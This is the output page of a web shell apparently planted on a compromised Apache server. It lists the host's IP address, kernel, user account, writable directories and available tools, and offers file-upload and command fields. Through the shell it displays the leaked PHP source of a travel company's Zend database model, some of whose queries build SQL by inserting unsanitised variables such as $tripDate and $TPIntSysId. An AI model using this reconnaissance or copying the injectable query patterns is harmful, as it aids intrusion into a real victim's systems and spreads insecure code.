403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/models//DynamicPackage.php
<?php

/**
 * Class Package Master
 * Description 	This model contains the basic activity functions needed for packages.
 * @name	Dynamic Package
 * @author	Pooja Choudhary
 * @version 	1.0
 * @copyright 	Catabatic Automation Pvt. Ltd.
 * Handle 	Packate Related function
 *
 */
class Travel_Model_DynamicPackage extends Zend_Db_Table_Abstract {
    #declare class vairables

    public $intId = NULL;
    private $db = NULL;
//    public $tableType;
    protected $customertableArray = array('TravelPlan' => 'TB_Agency_Customer_TravelPlan', 'Itenary' => 'TB_Agency_Customer_TravelPlan_Itenary', 'Accom' => 'TB_Agency_Customer_TravelPlan_Accom', 'Activity' => 'TB_Agency_Customer_TravelPlan_Itenary_Events', 'Sightseeing' => 'TB_Agency_Customer_TravelPlan_SightSeeing', 'Services' => 'TB_Agency_Customer_TravelPlan_OtherServices', 'Transport' => 'TB_Agency_Customer_Trans_Fixed', 'Rate' => 'TB_Agency_Customer_TravelPlan_MarketWise_Rate', 'AddonServices' => 'TB_Agency_Customer_TravelPlan_AddonServices');
    protected $agentTravelTableArray = array('TravelPlan' => 'TB_TravelPlan', 'Itenary' => 'TB_TravelPlan_Itenary', 'Accom' => 'TB_TravelPlan_Itenary_Accom', 'Activity' => 'TB_TravelPlan_Itenary_Events', 'Sightseeing' => 'TB_TravelPlan_SightSeeing', 'Services' => 'TB_TravelPlan_OtherServices', 'Transport' => 'TB_TravelPlan_Trans_Fixed', 'Rate' => 'TB_TravelPlan_MarketWise_Rate');

    /**
     * Class Constructors
     */
    public function __construct($tableType) { //echo $tableType;
        #initialize db adapter
        $this->currentRequiredtableArray = ($tableType == 'Customer') ? $this->customertableArray : $this->agentTravelTableArray;
        $this->db = Zend_Db_Table::getDefaultAdapter();
    }

    public function __destruct() {
        $this->db->closeConnection();
    }

    public function getDynamicPackageDetail($tpID, $IsActive = NULL) {
        $colArray = ($this->currentRequiredtableArray['TravelPlan'] == 'TB_Agency_Customer_TravelPlan') ? array("AgencySysId","CustomerSysId","IsB2BProposal","TPSysId", "DiscountType", "DiscountVal", "PackageCostCalType", "GroupSize", "GSTSharedMode", "MarkUp", "CustomDiscount", "AgentsCustomServiceTaxAmount", "ServiceTaxOnCustomDiscount", "AdvBookingPercent") : array("TPSysId", "DiscountType", "DiscountVal", "PackageCostCalType", "GroupSize"); // fields are available in transaction table only
//        print_r($this->currentRequiredtableArray);
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['TravelPlan']), $colArray)
                ->where("t1.TPSysId=?", $tpID)
                ->where("t1.IsMarkForDel=?", '0');
        if ($IsActive) {
            $select->where("t1.IsActive=?", 1);
        }
//        echo $select;
        $result = $this->db->fetchRow($select);
        return $result;
    }

    public function getDynamicPackageMPInventoryAccomDetail($tpID, $tripDate, $isSelected = NULL, $TPIntSysId = NULL, $MealTypeId = NULL, $catID = NULL) { //2017-11-11 remove after work
//        print_r($this->currentRequiredtableArray);
        $select = $this->db->select()->from(array('TBTI' => $this->currentRequiredtableArray['Itenary']), array('TPIntSysId', 'Sequence'))
                ->joinLeft(array('TBTIH' => $this->currentRequiredtableArray['Accom']), 'TBTI.TPIntSysId = TBTIH.TPIntSysId', array('InvnItemSysId', 'MasterIntSysId','AccoSysId', 'BYOPackType', 'MealPlanType', 'TotalCostSO', 'TotalCostDO', 'TotalCostExtraBed', 'TotalCostWithoutBed', 'TotalCost', 'Discounts', 'Taxes', 'NetCost','SupplierSysId'))
                ->joinLeft(array('MPARI' => 'Tb_MP_Accomdation_Room_Inventory'), 'TBTIH.AccoSysId = MPARI.AccomSysId AND TBTIH.AgencySysId = MPARI.AgencySysId AND TBTIH.SupplierSysId = MPARI.SupplierSysId AND TBTIH.RoomType = MPARI.RoomSysId ', array('FromDate','RoomSysId as EconomyType'))
                ->joinLeft(array('MPIH' => 'TB_MP_Inventory_Accom'), 'MPARI.id = MPIH.RoomInventorySysId AND TBTIH.MealPlanType = MPIH.MealPlanType', array('NetSOccupCost','NetTriOccupCost','NetDOccupCost', 'NetExtraBedCost', 'NetExtraWOBedCost','TrxCurrency','MarkType','B2CMarkup','B2BMarkup'))
                ->where('TBTI.TPSysId=?', $tpID)
                ->where('TBTI.IsMarkForDel=?', '0')
                ->where('TBTI.IsActive=?', 1)
                ->where('TBTIH.IsActive=?', 1)
                ->where('MPARI.IsSaleStart=?', 1)
                ->where('MPARI.BlockQty =?', 0)
                ->where('MPARI.IsActive =?', 1)
                ->where('MPARI.IsMarkForDelete =?', 0)
                ->where('MPIH.IsMarkForDelete =?', 0)
                ->where('TBTIH.IsMarkForDel=?', '0');
        if (!empty($TPIntSysId)) {
            $cond = " TBTIH.TPIntSysId = $TPIntSysId OR TBTIH.MasterIntSysId = $TPIntSysId";
            $select->where($cond);
//            $select->where('TBTIH.TPIntSysId = ?', $TPIntSysId);
//            $select->orwhere('TBTIH.MasterIntSysId = ?', $TPIntSysId);
        }
        if (!empty($isSelected)) {
            $select->where('TBTIH.IsSelectedOnPkg = ?', 1);
        }
        if (!empty($MealTypeId)) {
            $select->where('TBTIH.MealPlanType = ?', $MealTypeId);
        }
        if (!empty($catID)) {
            $select->where('TBTIH.BYOPackType = ?', $catID);
        }
        $select->where("CAST(MPARI.FromDate AS DATE) = CAST(DATEADD(DAY, TBTI.Sequence - 1, '$tripDate') as DATE)");
//        $select->where("'$tripDate' BETWEEN CAST(MPIH.FromDate AS DATE) AND CAST(MPIH.ToDate AS DATE)");
        $select->order('TBTI.Sequence');
//        echo  $select;die;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function getDynamicPackageMPInventoryActivityDetail($tpID, $tripDate,$type = 'Included', $versionID = NULL, $actId = NULL,$IsOptionalActivity = NULL) { //2017-11-11 remove after work
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['Itenary']), array("TPIntSysId", "Sequence"))
                ->joinLeft(array('t2' => $this->currentRequiredtableArray['Activity']), "t1.TPIntSysId = t2.TPIntSysId", array("Title", "Type", "TPActivitySysId", "Cost", "KidsCost", "Markup"))
                ->joinLeft(array('t3' => "TB_MP_Inventory_Activity"), 't2.TPActivitySysId = t3.XRef AND t2.AgencySysId = t3.AgencySysId AND t2.SupplierSysId = t3.SupplierSysId ', array('InvnItemSysId', 'FromDate', 'ToDate', 'TotalCostNativeAdult', 'TotalCostNativeChild','CostCurrency'))
                ->where("t1.TPSysId=?", $tpID)
                ->where("t1.IsMarkForDel=?", '0')
                ->where("t1.IsActive=?", 1)
                ->where("t2.IsMarkForDel=?", '0')
                ->where("t2.Type=?", $type)
                ->where('t3.IsSaleStart=?', 1)
                 ->where('t3.IsActive =?', 1)
                ->where('t3.IsMarkForDelete =?', 0)
                ->where("'$tripDate' BETWEEN CAST(t3.FromDate AS DATE) AND CAST(t3.ToDate AS DATE)");
        if(!empty($versionID)){
        $select->where("t2.versionID=?", $versionID);
        }
        if(!empty($actId)){
        $select->where("t2.TPActivitySysId=?", $actId);
        }
         if (!empty($IsOptionalActivity)) {
            $select->where("t2.IsOptionalActivity=?", 1);
        }
        $select->order("t1.Sequence");
//        echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function getDynamicPackageMPInventorySightSeeingDetail($tpID, $tripDate, $type = 'Included', $tpIntSysId = NULL, $sightseeingId = NULL,$IsOptionalSightSeeing = NULL) { //2017-11-11 remove after work
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['Itenary']), array("TPIntSysId", "Sequence"))
                ->joinLeft(array('t2' => $this->currentRequiredtableArray['Sightseeing']), "t1.TPIntSysId = t2.InvnItemSysId", array("SSSysId", "Type", "Title", "Cost", "KidsCost", "Markup"))
                ->joinLeft(array('t3' => "TB_MP_Inventory_SightSeeing"), 't2.SSSysId = t3.XRef AND t2.AgencySysId = t3.AgencySysId AND t2.SupplierSysId = t3.SupplierSysId', array('InvnItemSysId', 'FromDate', 'ToDate', 'TotalCostNativeAdult', 'TotalCostNativeChild','CostCurrency'))
                ->where("t1.TPSysId=?", $tpID)
                ->where("t1.IsMarkForDel=?", '0')
                ->where("t1.IsActive=?", 1)
                ->where("t2.IsMarkForDelete=?", '0')
                ->where("t2.Type=?", $type)
                ->where('t3.IsSaleStart=?', 1)
                ->where('t3.IsActive =?', 1)
                ->where('t3.IsMarkForDelete =?', 0)
                ->where("'$tripDate' BETWEEN CAST(t3.FromDate AS DATE) AND CAST(t3.ToDate AS DATE)");
                if(!empty($tpIntSysId)){
                $select->where("t1.TPIntSysId=?", $tpIntSysId);
                }
                if(!empty($sightseeingId)){
                $select->where("t2.SSSysId=?", $sightseeingId);
                }
                if(!empty($IsOptionalSightSeeing)){
                    $select->where("t2.IsOptionalSightSeeing=?", 1);
                }
                $select->order("t1.Sequence");
//        echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }
    
    public function getDynamicPackageMPInventorySightSeeingDetailSICPVT($tpID, $tripDate, $type = 'Included', $tpIntSysId = NULL, $sightseeingId = NULL,$IsOptionalSightSeeing = NULL, $MPType = 1, $totalMember = 2) { //2017-11-11 remove after work
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['Itenary']), array("TPIntSysId", "Sequence"))
                ->joinLeft(array('t2' => $this->currentRequiredtableArray['Sightseeing']), "t1.TPIntSysId = t2.InvnItemSysId", array("SSSysId", "Type", "Title", "Cost", "KidsCost", "Markup", "PriceType"))
                ->joinLeft(array('t3' => "TB_MP_Inventory_SightSeeing"), "t2.SSSysId = t3.XRef AND t2.AgencySysId = t3.AgencySysId AND t2.SupplierSysId = t3.SupplierSysId ", array('ChildEntryFee', 'AdultEntryFee', 'CostCurrency', 'InvnItemSysId', 'TotalCostNativeAdult', 'TotalCostNativeChild', 'TotalCostForeignerChild', 'TotalCostForeignerAdult', 'SupplierSysId'))
                ->joinLeft(array('t4' => "TB_MP_Inventory_SightSeeing_Alloc"), "t3.InvnItemSysId = t4.InvnItemSysId AND MPType = $MPType AND t2.PriceType = 1", array("NetPriceNativeAdult", "NetPriceNativeChild", "MarkUpNativeAdult", "MarkUpNativeChild"))
                ->joinLeft(array('t5' => "TB_MP_Inventory_SightSeeing_GrCost"), "t3.InvnItemSysId = t5.InvnItemSysId AND Marketplace = $MPType AND PaxCount = $totalMember AND t2.PriceType = 2", array("SaleAmtNativeAdult", "SaleAmtNativeChild", "TrxCurrency", "PaxCount", "AdultMarkup", "ChildMarkup", "TotalCostNativeAdult", "TotalCostNativeChild"))
                 
                ->where("t1.TPSysId=?", $tpID)
                ->where("t1.IsMarkForDel=?", '0')
                ->where("t1.IsActive=?", 1)
                ->where("t2.IsMarkForDelete=?", '0')
                ->where("t2.Type=?", $type)
                ->where('t3.IsSaleStart=?', 1)
                ->where('t3.IsActive =?', 1)
                ->where('t3.IsMarkForDelete =?', 0)
                ->where("'$tripDate' BETWEEN CAST(t3.FromDate AS DATE) AND CAST(t3.ToDate AS DATE)");
                if(!empty($tpIntSysId)){
                $select->where("t1.TPIntSysId=?", $tpIntSysId);
                }
                if(!empty($sightseeingId)){
                $select->where("t2.SSSysId=?", $sightseeingId);
                }
                if(!empty($IsOptionalSightSeeing)){
                    $select->where("t2.IsOptionalSightSeeing=?", 1);
                }
                $select->order("t1.Sequence");
//        echo  $select;die;
        $result = $this->db->fetchAll($select);
        return $result;
    }
    

    public function GetIncludedOtherServices($tpsysID) {
        $select = $this->db->select();
        $select->from(array($this->currentRequiredtableArray['Services']), array('RateType', 'Cost','CurrencyType'));
        $select->where('TPIntSysId = ?', $tpsysID);
        $select->where('IsCostInclInTP = ?', 1);
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDelete = ?', 0);
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetIncludedPrivateTransport($tpsysID) {
        $select = $this->db->select();
        $select->from(array($this->currentRequiredtableArray['Transport']), array('TransType', 'TotalPrice', 'CostPerson','VehicleQty','CurrencyType'));
        $select->where('TPSysId = ?', $tpsysID);
//        $select->where('CostPerson > ?', 0);
        $select->where('TotalPrice > ?', 0);
        $select->where('IsIncluded = ?', 1);
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
//        echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetAllTransportTypeForGroupWithoutCar($tpsysID) {
        $select = $this->db->select();
        $selectedfields = array('TransType', 'TotalPrice', 'CostPerson', 'Capacity');
        $select->from(array($this->currentRequiredtableArray['Transport']), $selectedfields);
        $select->where('TPSysId = ?', $tpsysID);
        $select->where('CostPerson > ?', 0);
        $select->where('TotalPrice > ?', 0);
        $select->where('IsIncluded = ?', 1);
        $select->where('TransType != ?', 'car');
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
        $select->where('IsGroup = ?', '0');
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetOnlyCarForGroup($tpsysID) {
        $select = $this->db->select();
        $selectedfields = array('TotalPrice', 'Capacity', 'TransTypeCat');
        $select->from(array($this->currentRequiredtableArray['Transport']), $selectedfields);
        $select->where('TPSysId = ?', $tpsysID);
        $select->where('TransType = ?', 'car');
        $select->where('IsGroup = ?', '1');
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetMarketWiseRate($tpsysID, $column, $catID = NULL, $tourID = NULL, $MealTypeId = NULL,$MarketPlaceId=NULL) {
        $selectedcolumn = !empty($column) ? $column : array("*");
        $select = $this->db->select();
        $select->from(array($this->currentRequiredtableArray['Rate']), $selectedcolumn);
        $select->where('TPIntSysId = ?', $tpsysID);
        if (!empty($catID)) {
            $select->where('PackCategoryId = ?', $catID);
        }
        if (!empty($tourID)) {
            $select->where('TourType = ?', $tourID);
        }
        if (!empty($MealTypeId)) {
            $select->where('MealPlanType = ?', $MealTypeId);
        }
        if (!empty($MarketPlaceId)) {
	        $select->where('MarketPlaceId = ?', $MarketPlaceId);
        }else{
	        $select->where('MarketPlaceId = ?', 1);
		}
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
//        echo $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function getIncludedHotelinDynamicPackage($tpSysID, $isSelected = NULL, $TPIntSysId = NULL, $catID = NULL, $MealTypeId = NULL) {
        $select = $this->db->select()->from(array('TBTI' => $this->currentRequiredtableArray['Itenary']), array('TPIntSysId', 'Sequence'))
                ->joinLeft(array('TBTIH' => $this->currentRequiredtableArray['Accom']), 'TBTI.TPIntSysId = TBTIH.TPIntSysId', array('InvnItemSysId', 'BYOPackType', 'MealPlanType', 'AccoSysId', 'Title', 'RoomType'))
                ->where('TBTI.TPSysId=?', $tpSysID)
                ->where('TBTI.IsMarkForDel=?', '0')
                ->where('TBTI.IsActive=?', 1)
                ->where('TBTIH.IsActive=?', 1)
                ->where('TBTIH.IsMarkForDel=?', '0');
        if (!empty($TPIntSysId)) {
            $select->where('TBTIH.TPIntSysId = ?', $TPIntSysId);
        }
        if (!empty($isSelected)) {
            $select->where('TBTIH.IsSelectedOnPkg = ?', 1);
        }
        if (!empty($MealTypeId)) {
            $select->where('TBTIH.MealPlanType = ?', $MealTypeId);
        }
        if (!empty($catID)) {
            $select->where('TBTIH.BYOPackType = ?', $catID);
        }
        $select->order('TBTI.Sequence');
//        echo $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function getIncludedActivityinDynamicPackage($packageId) {
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['Itenary']), array("TPIntSysId", "Sequence"))
                ->joinLeft(array('t2' => $this->currentRequiredtableArray['Activity']), "t1.TPIntSysId = t2.TPIntSysId", array("TPActivitySysId", "Title", "Type"))
                ->where("t1.TPSysId=?", $packageId)
                ->where("t1.IsMarkForDel=?", '0')
                ->where("t1.IsActive=?", 1)
                ->where("t2.IsMarkForDel=?", '0')
                ->where("t2.Type=?", 'Included')
                ->order("t1.Sequence");
//        echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function getIncludedSightseeinginDynamicPackage($packageId) {
        $select = $this->db->select()->from(array("t1" => $this->currentRequiredtableArray['Itenary']), array("TPIntSysId", "Sequence"))
                ->joinLeft(array('t2' => $this->currentRequiredtableArray['Sightseeing']), "t1.TPIntSysId = t2.InvnItemSysId", array("SSSysId", "Title", "Type"))
                ->where("t1.TPSysId=?", $packageId)
                ->where("t1.IsMarkForDel=?", '0')
                ->where("t1.IsActive=?", 1)
                ->where("t2.IsMarkForDelete=?", '0')
                ->where("t2.Type=?", 'Included')
                ->order("t1.Sequence");
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetTotalChildCount($column, $tpintsysID, $catID, $MealTypeId = NULL) {
        $selectedcolumn = !empty($column) ? $column : array("*");
        //$selectedfields = array('MasterIntSysId');
        $select = $this->db->select();
        $select->from(array('TBTIH' => $this->currentRequiredtableArray['Accom']), $selectedcolumn);
        $select->where('MasterIntSysId = ?', $tpintsysID);
        $select->where('BYOPackType = ?', $catID);
        $select->where('IsSelectedOnPkg = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
        $select->where('IsActive = ?', 1);
        if (!empty($MealTypeId)) {
            $select->where('MealPlanType = ?', $MealTypeId);
        }
        $result = $this->db->fetchAll($select);
        return $result;
    }

    public function GetHotelFromInvByo($itnID, $catID, $MealTypeId = NULL) {
        $select = $this->db->select();
        $travel_airline = array('Address', 'Stars');
        $select->from(array('TBTIH' => $this->currentRequiredtableArray['Accom']));
        $select->joinLeft(array("TB_IC_Accomdation"), "TB_IC_Accomdation.AccomSysId = TBTIH.AccoSysId", $travel_airline);
        $select->joinLeft(array('t4' => 'TB_Master_RoomType'), 't4.RoomType = TBTIH.RoomType', array("Title as EconomyTypeTitle", "RoomType as RoomTypeId"));
        $select->joinLeft(array('t5' => 'TB_Master_Accom_MealType'), 't5.MealTypeId = TBTIH.MealPlanType', array("Title as MealPlanTypeTitle", "MealTypeId"));
        $select->where('TBTIH.TPIntSysId = ?', $itnID);
        if (!empty($MealTypeId)) {
            $select->where('TBTIH.MealPlanType = ?', $MealTypeId);
        }
        $select->where('TBTIH.BYOPackType = ?', $catID);
        $select->where('TBTIH.IsMarkForDel = ?', 0);
        $select->where('TBTIH.IsFromAPI = ?', 0);
        $select->where('TBTIH.IsActive = ?', 1);
        $select->where('t5.IsMarkForDel = ?', 0);
        $select->where('t5.IsActive = ?', 1);
//         echo $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }
    
    public function GetOnlyHotelDetailsReadymade($tpSysID) {
        $select = $this->db->select()->from(array('TBTI' => $this->currentRequiredtableArray['Itenary']), array('TPIntSysId', 'Sequence','CitySysId'))
                ->joinLeft(array('TBTIH' => $this->currentRequiredtableArray['Accom']), 'TBTI.TPIntSysId = TBTIH.TPIntSysId', array('AccoSysId', 'Title', 'RoomType'))
                ->joinLeft(array('TBICA'=>'TB_IC_Accomdation'), 'TBICA.AccomSysId = TBTIH.AccoSysId' ,array('Stars','AccoAminitiesMask','ICSourceSysId','IsAgentSpec'))
                ->joinLeft(array('TBMR' => 'TB_Master_RoomType'), 'TBTIH.RoomType = TBMR.RoomType', array("Title as EconomyTypeTitle", "RoomType as RoomTypeId"))
                ->where('TBTI.TPSysId=?', $tpSysID)
                ->where('TBTI.IsMarkForDel=?', '0')
                ->where('TBTI.IsActive=?', 1)
                ->where('TBTIH.IsActive=?', 1)
                ->where('TBTIH.IsMarkForDel=?', '0')
                ->where('TBTIH.IsSelectedOnPkg = ?', 1);
        $select->order('TBTI.Sequence');
        $result = $this->db->fetchAll($select);
        return $result;
    }
    
    
        public function GetSelectedCarVehicleCapacity($tpsysID, $tourID = 1){
        $isGroup = ($tourID == 1) ? 0 : 1;
        $IsIncluded = ($tourID == 1) ? 1 : 0;
        $select = $this->db->select();
        $selectedcity = array('sum(Capacity*VehicleQty) as Capacity');
        $select->from(array('tb2' => $this->currentRequiredtableArray['Transport']),$selectedcity);
        $select->where('tb2.TPSysId = ?', $tpsysID);
        $select->where('tb2.TransType = ?', 'car');
        $select->where('tb2.IsIncluded = ?', $IsIncluded);
        $select->where('tb2.IsMarkForDel = ?', 0);
        $select->where('tb2.IsGroup = ?', $isGroup);
//        echo $select;
        $result = $this->db->fetchOne($select);
        return $result; 
      
    }
    
    

    public function updateTable($data, $where, $table) {
        $this->db->update($this->currentRequiredtableArray[$table], $data, $where);
    }

    public function insertTable($data, $table) {
        $this->db->insert($this->currentRequiredtableArray[$table], $data);
        return $this->db->lastInsertId();
    }

    public function insertMultiple($colVal, $marketpriceArray, $table) {
        $query = 'INSERT INTO ' . $this->currentRequiredtableArray[$table] . $colVal . ' VALUES ';
        $stmt = $this->db->query($query . implode(',', $marketpriceArray));
//        $result = $stmt->rowCount();
//        return $result;
    }
	//created by Er Amit 
    public function GetAllPrivateTransportDeatils($tpsysID) {
        $select = $this->db->select();
        $select->from(array($this->currentRequiredtableArray['Transport']), array('FixTransSysId','TPSysId','TPIntSysId','TransType', 'TotalPrice', 'CostPerson','VehicleQty'));
        $select->where('TPSysId = ?', $tpsysID);
        $select->where('CostPerson > ?', 0);
        $select->where('TotalPrice > ?', 0);
        //$select->where('IsIncluded = ?', 1);
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDel = ?', 0);
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }
    public function GetAllOtherServicesDeatils($tpsysID) {
        $select = $this->db->select();
        $select->from(array($this->currentRequiredtableArray['Services']), array('RateType', 'Cost'));
        $select->where('TPIntSysId = ?', $tpsysID);
        //$select->where('IsCostInclInTP = ?', 1);
        $select->where('IsActive = ?', 1);
        $select->where('IsMarkForDelete = ?', 0);
        //echo  $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }
    public function GetDynamicCustomerTravelPlanSightseeingByVersionIds($versionIds) {
        $select = $this->db->select();
        $select->from(array('tbl' => "TB_Agency_Customer_TravelPlan_Sightseeing"), array('AgencySysId', 'SSSysId', 'Title', 'FromDate', 'ToDate', 'PriceType', 'SupplierSysId', 'Type','Cost','KidsCost','Markup','ChildMarkup','TotalCost', 'AdultCost','AdultMarkup'));
        
        $select->joinLeft(array('TBACTI' => "TB_Agency_Customer_TravelPlan_Itenary"), "tbl.InvnItemSysId = TBACTI.TPIntSysId", array('TPIntSysId'));
        $select->joinLeft(array('TBACT' => "TB_Agency_Customer_TravelPlan"), "TBACTI.TPSysId = TBACT.TPSysId", array('RoomInfoJson','StartDate'));
         
        $select->joinLeft(array('tb2' => "TB_IC_SightSeeing"), "tbl.SSSysId = tb2.SSSysId", array('Icon', 'ThumnailImg', 'DetailImg', 'Address', 'latitude', 'longitude', 'WriteUp', 'Rating','TimeSlots','DurationStr'));
        $select->joinLeft(array('tb3' => "TB_IC_Supplier"), "tbl.SupplierSysId = tb3.SupplierSysId", array('SupplierName'));
        $select->joinLeft(array('tb4' => "TB_Master_Geo_City"), "tbl.CityId = tb4.CityId", array('Title as CityTitle'));
        $select->joinLeft(array('tb5' => "TB_MP_Inventory_SightSeeing"), 'tbl.SSSysId = tb5.XRef AND tbl.AgencySysId = tb5.AgencySysId AND tbl.SupplierSysId = tb5.SupplierSysId', array('InvnItemSysId', 'FromDate', 'ToDate', 'TotalCostNativeAdult', 'TotalCostNativeChild','CostCurrency'));
        $select->Where('tbl.VersionId IN (?) ', $versionIds);
        $select->Where('tbl.IsMarkForDelete = ?', '0');
        $select->Where('tbl.IsActive = ?', '1');
        $select->order("tbl.VersionId ASC");
        //        echo $select;
        $result = $this->db->fetchAll($select);
        return $result;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit